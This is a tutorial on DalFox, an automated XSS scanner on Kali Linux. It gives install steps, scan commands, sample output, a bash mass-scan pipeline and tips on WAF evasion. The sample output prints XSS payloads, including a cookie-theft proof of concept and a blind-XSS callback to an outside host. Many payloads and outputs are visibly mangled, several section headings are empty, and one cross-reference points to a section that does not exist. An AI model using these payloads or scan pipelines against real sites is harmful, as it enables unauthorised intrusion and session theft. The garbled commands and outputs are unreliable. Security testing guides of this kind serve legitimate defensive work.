DalFox: Complete Guide to Automated Cross-Site Scripting (XSS) Scanning Using Kali Linux

DalFox (Finder Of XSS — “Dal” is the Korean pronunciation of “moon”) is a fast, powerful, open-source XSS scanning and parameter-analysis tool written in Go by hahwul. It is purpose-built for automation: bug bounty recon pipelines, CI/CD security gates, and mass scanning of large target lists. Being a compiled Go binary, it is significantly faster than interpreted scanners and integrates cleanly into shell pipelines (cat urls.txt | dalfox pipe).

Key capabilities:

• Multiple detection types — reflected XSS, stored XSS, and DOM-based XSS.
• DOM/headless verification — uses a headless Chrome instance to actually confirm that injected JavaScript executes, dramatically reducing false positives compared to pure string-reflection scanners.
• Parameter analysis & mining — automatically discovers hidden/unlinked parameters (--mining-dict, --mining-dom).
• Blind XSS integration — built-in -b/--blind flag to inject a callback URL (e.g. an XSSHunter subdomain) into every test.
• Multiple operating modes — single URL, file/list of URLs, raw HTTP request replay, stdin pipeline, Stored XSS (sxss) mode, and a built-in REST API server.
• Custom payloads and encoders — supports custom payload files, custom alert values/types, and automatic double-URL/HTML-hex encoding to bypass WAFs.
• CI/CD & automation friendly — JSON output format, silent mode, and exit codes suitable for pipelines.

Installation

On Kali Linux, DalFox can be installed several ways.

Method 1 — apt (Kali repository, when available):

sudo apt update
sudo apt install -y dalfox
dalfox version

Method 2 — go install (recommended for the latest version):

# Ensure Go is installed
sudo apt install -y golang-go

# Install DalFox directly from source
go install github.com/hahwul/dalfox/v2@latest

# Make sure $GOPATH/bin (usually ~/go/bin) is in your PATH
export PATH=$PATH:$(go env GOPATH)/bin
echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrc

dalfox version

Method 3 — prebuilt binary from GitHub Releases:

wget https://github.com/hahwul/dalfox/releases/latest/download/dalfox_linux_amd64.tar.gz
tar -xzf dalfox_linux_amd64.tar.gz
sudo mv dalfox /usr/local/bin/
dalfox version

Method 4 — Docker:

docker pull hahwul/dalfox:latest
docker run -it hahwul/dalfox:latest url https://target.com

Expected output of dalfox version:

$ dalfox version
    _..._
   .'     .::::.  __       _  _   ___  _  __
  : :::::::: |  \ / \ |  | |__/ \ V /
  :  o ) o :: | o )  o||  |_| _( o )) (
   '. '::::' |__/|_n_||___||_|  \_//_n_\
     '-.::''
DalFox v2.11.0

Syntax

DalFox uses a Cobra-style subcommand syntax:

dalfox [command] [target] [flags]

Available commands:

file      Use file mode (targets list or rawdata)
help      Help about any command
payload   Payload mode, make and enumerate payloads
pipe      Use pipeline mode
server    Start API server
sxss      Use Stored XSS mode
url       Use single target mode
version   Show version

General usage pattern:

dalfox url <TARGET_URL> [FLAGS]
dalfox file <FILE> [FLAGS]
cat urls.txt | dalfox pipe [FLAGS]
dalfox sxss <TARGET_URL> --trigger <TRIGGER_URL> [FLAGS]
dalfox server --host 0.0.0.0 --port 8080

Command Line Options (Full Reference)

Modes:

Global flags:

Basic Usage (Expected Output)

dalfox url https://testphp.vulnweb[.]com/listproducts.php?cat=1

Expected output:

[*] Target: https://testphp.vulnweb[.]com/listproducts.php?cat=1
[*] Method: G ET
[*] Static Analysis: identifying parameter type/context
[*] Optimization: cat
    [I] Injecting to parameter 'cat'
[POC][V][GET] https://testphp.vulnweb[.]com/listproducts.php?cat=1"><svonload=alert(1)
    [type] R (Reflected)
    [method] GET
    [param] cat
[*] Scan Completed. 1 vulnerable point found.

Practical Examples With Output

Example 1 – Basic single URL scan

dalfox url http://testphp.vulnweb[.]com/listproducts.php?cat=1

[*] Target: http://testphp.vulnweb[.]com/listproducts.php?cat=1
[POC][V][GET] http://testphp.vulnweb[.]com/listproducts.php?cat=1">svgonload=alert(1)>
[*] Scan Completed. 1 vulnerable point found.

Example 2 – Multi-parameter target with blind XSS callback

dalfox url "http://testphp.vulnweb.com/listproducts[.]php?cat=123&artist=123&asdf=ff" -b https://hahwul.xss.ht

[*] Target: http://testphp[.]vulnweb.com/listproducts.php?cat=123&artist=123&asdf=ff
[*] Blind XSS payload injected -> https://hahwul.xss.ht
[POC][G][BUILT-IN/dalfox-error-mysql/GET] http://testphp.vulnweb[.]com/listproducts.php?artist=123&asdf=ff&cat=123
[POC][V][GET] http://testphp.vulnweb.com/listproducts[.]php?artist=123&asdf=ff&cat=123">vg/class="dalfox" nLoad=alert(45)
[*] Scan Completed. 2 findings.

Example 3 – Scan a list of URLs from a file

dalfox file targets.txt -o results.txt --format json

[*] File mode: loaded 25 targets from targets.txt
[*] [1/25] Scanning http://target1.local/page?q=1
[*] [2/25] Scanning http://target2.local/search?term=x
...
[POC][V][GET] http://target1[.]local/page?q=1"script>alert(1script>
[*] Scan Completed. Results written to results.txt

Example 4 – Pipeline mode from another recon tool

cat urls.txt | grep "=" | dalfox pipe --silence -o pipe_results.txt

[*] Pipe mode: reading targets from stdin
[POC][V][GET] http://api.target[.]local/search?q=1"svg/onload=alert(1)>
[POC][V][GET] http://target[.]local/redirect?url=1"><img src=x onrror=alert(1)>
[*] Scan Completed. 2 vulnerable points found. Results saved to pipe_results.txt

Example 5 – Test a POST request with a custom cookie

dalfox url http://target.local/comment.php -d "name=test&comment=hello" -C "PHPSESSID=abc123def456"

[*] Target: http://target[.]local/comment.php
[*] Method: POST
[*] Body: name=test&comment=hello
[*] Cookie: PHPSESSID=abc123def456
[POC][V][POST] http://target[.]local/comment.php
    [param] comment
    [payload]img src=x onerror=alrt(1)
[*] Scan Completed. 1 vulnerable point found.

Example 6 – Custom alert value to prove impact (cookie theft PoC)

dalfox url http://target[.]local/profile?bio=x --custom-alert-value "document.coo kie"

[*] Target: http://target[.]local/profile?bio=x
[POC][V][GET] http://target.local/profile?bio=x"><sg/oload=alert(document.cookie)>
[*] Scan Completed. 1 vulnerable point found.

Example 7 – Increase workers and set a delay for a large scan

dalfox url http://target[.]local/search?q=test -w 50 --delay 200

[*] Target: http://target[.]local/search?q=test
[*] Workers: 50, Delay: 200ms between same-host requests
[*] Static Analysis: complete
[*] Parameter Mining: 3 hidden params discovered (mining-dict)
[POC][V][GET] http://target[.]local/search?q=test"scriptalert(1)script
[*] Scan Completed. 1 vulnerable point found.

Example 8 – Only test specific parameters

dalfox url "http://target[.]local/page?id=1&debug=0&lang=en" -p id -p lang

[*] Target: http://target[.]local/page?id=1&debug=0&lang=en
[*] Testing only specified parameters: id, lang
[POC][V][GET] http://target[.]local/page?id=1"svg/onload=alert(1)>&debug=0&lang=en
[*] Scan Completed. 1 vulnerable point found.

Example 9 – Stored XSS mode (inject on one page, verify on another)

dalfox sxss http://target[.]local/submit-comment --trigger http://target.local/view-comments -d "comment=INJECT_HERE"

[*] Stored XSS mode
[*] Injection point: http://target[.]local/submit-comment
[*] Trigger/verification point: http://target[.]local/view-comments
[*] Injecting unique marker...
[*] Checking trigger page for execution...
[POC][SXSS][V] Payload stored and executed on trigger page
    [injection] http://target[.]local/submit-comment
    [trigger] http://target[.]local/view-comments
[*] Scan Completed. 1 stored XSS confirmed.

Example 10 – Route through Burp Suite proxy and generate a curl PoC

dalfox url http://target.local/page?q=test --proxy http://127.0.0.1:8080 --poc-type curl

[*] Target: http://target[.]local/page?q=test
[*] Proxy: http://127.0.0.1:8080
[POC][V][GET] curl -s "http://target[.]local/page?q=test%22%3E%3Csvg%2Fonload%3Dalrt(1"
[*] Scan Completed. 1 vulnerable point found.

Example 11 – Run a full report with parameter discovery and deep DOM testing

dalfox url http://target.local/app --deep-domxss --mining-dom --mining-dict --report

[*] Target: http://target[.]local/app
[*] Parameter Mining (DOM): 5 parameters discovered from inline JS/attributes
[*] Parameter Mining (Dictionary): 2 additional parameters discovered
[*] Deep DOM XSS testing enabled (headless verification)
[POC][V][DOM] http://target[.]local/app#name="><g src=x onerror=alert(1)>
--- Report ---
Total Parameters Tested: 7
Vulnerable Points: 1
Type: DOM-based XSS
--------------
[*] Scan Completed.

Example 12 – Run DalFox as a REST API server for integration

dalfox server --host 0.0.0.0 --port 8080

[*] Starting DalFox REST API server
[*] Listening on 0.0.0.0:8080
[*] Endpoints:
    POST /scan       - submit a new scan job
    GET  /scan/{id}   - retrieve scan status/results
[*] Server ready. Press CTRL+C to stop.

Common Use Cases

• Fast triage of large URL lists gathered from recon tools (gau, waybackurls, katana, hakrawler) piped directly into dalfox pipe.
• CI/CD security gates that fail a build when dalfox file finds a reflected/DOM XSS in staging.
• Bug bounty hunting at scale — combining –mining-dict/–mining-dom to surface hidden parameters other scanners miss.
• Verifying Stored XSS across multi-step workflows (submit form → view elsewhere) via sxss mode.
• Generating ready-to-paste PoC evidence for reports using --poc-type curl or –poc-type http-request.
• Chaining with blind XSS platforms like XSSHunter via -b to catch out-of-band/asynchronous execution.
• Running as a persistent internal scanning microservice via dalfox server.

Automation With Bash

Mass recon-to-scan pipeline combining subdomain/URL gathering with DalFox:

#!/bin/bash
# dalfox_pipeline.sh - recon + XSS scan pipeline

DOMAIN="$1"
OUT_DIR="dalfox_results_$DOMAIN"
mkdir -p "$OUT_DIR"

if [ -z "$DOMAIN" ]; then
    echo "Usage: $0 <domain>"
    exit 1
fi

echo "[*] Gathering URLs for $DOMAIN"
gau "$DOMAIN" | grep "=" | sort -u > "$OUT_DIR/urls.txt"

echo "[*] Found $(wc -l < "$OUT_DIR/urls.txt") URLs with parameters"
echo "[*] Running DalFox pipeline scan"

cat "$OUT_DIR/urls.txt" | dalfox pipe \
    --silence \
    --no-spinner \
    -w 30 \
    --delay 100 \
    --skip-bav \
    --format json \
    -o "$OUT_DIR/dalfox_findings.json"

echo "[*] Scan complete. Results saved to $OUT_DIR/dalfox_findings.json"

vuln_count=$(grep -c '"type"' "$OUT_DIR/dalfox_findings.json" 2>/dev/null || echo 0)
echo "[*] Total findings: $vuln_count"

Run it:

chmod +x dalfox_pipeline.sh
./dalfox_pipeline.sh example.com

Tips and Best Practices

• Prefer dalfox pipe when chaining with other recon tools — it avoids writing intermediate files and keeps the pipeline fast.
• Use --skip-bav when you only care about XSS; it skips DalFox’s additional basic vulnerability checks (SQLi/SSTI/etc.) and speeds up large scans.
• Always pair -b/--blind with a real out-of-band listener (e.g. an XSSHunter Express instance, see 8.3) so blind findings are actually captured.
• Use --mining-dict and --mining-dom together for the most thorough hidden-parameter discovery, but expect longer scan times.
• Tune -w (workers) and --delay based on target sensitivity — high worker counts against production targets can trigger WAFs or rate limits; use --waf-evasion when needed.
• Use --only-poc v to filter noisy output down to only headless-browser-verified (high-confidence) findings.
• Store results as --format json for easy parsing in downstream automation/report generation.

Troubleshooting

References

• Official repository: https://github.com/hahwul/dalfox
• Official documentation: https://dalfox.hahwul.com/
• Offensive Security Kali tool page: https://www.kali.org/tools/dalfox/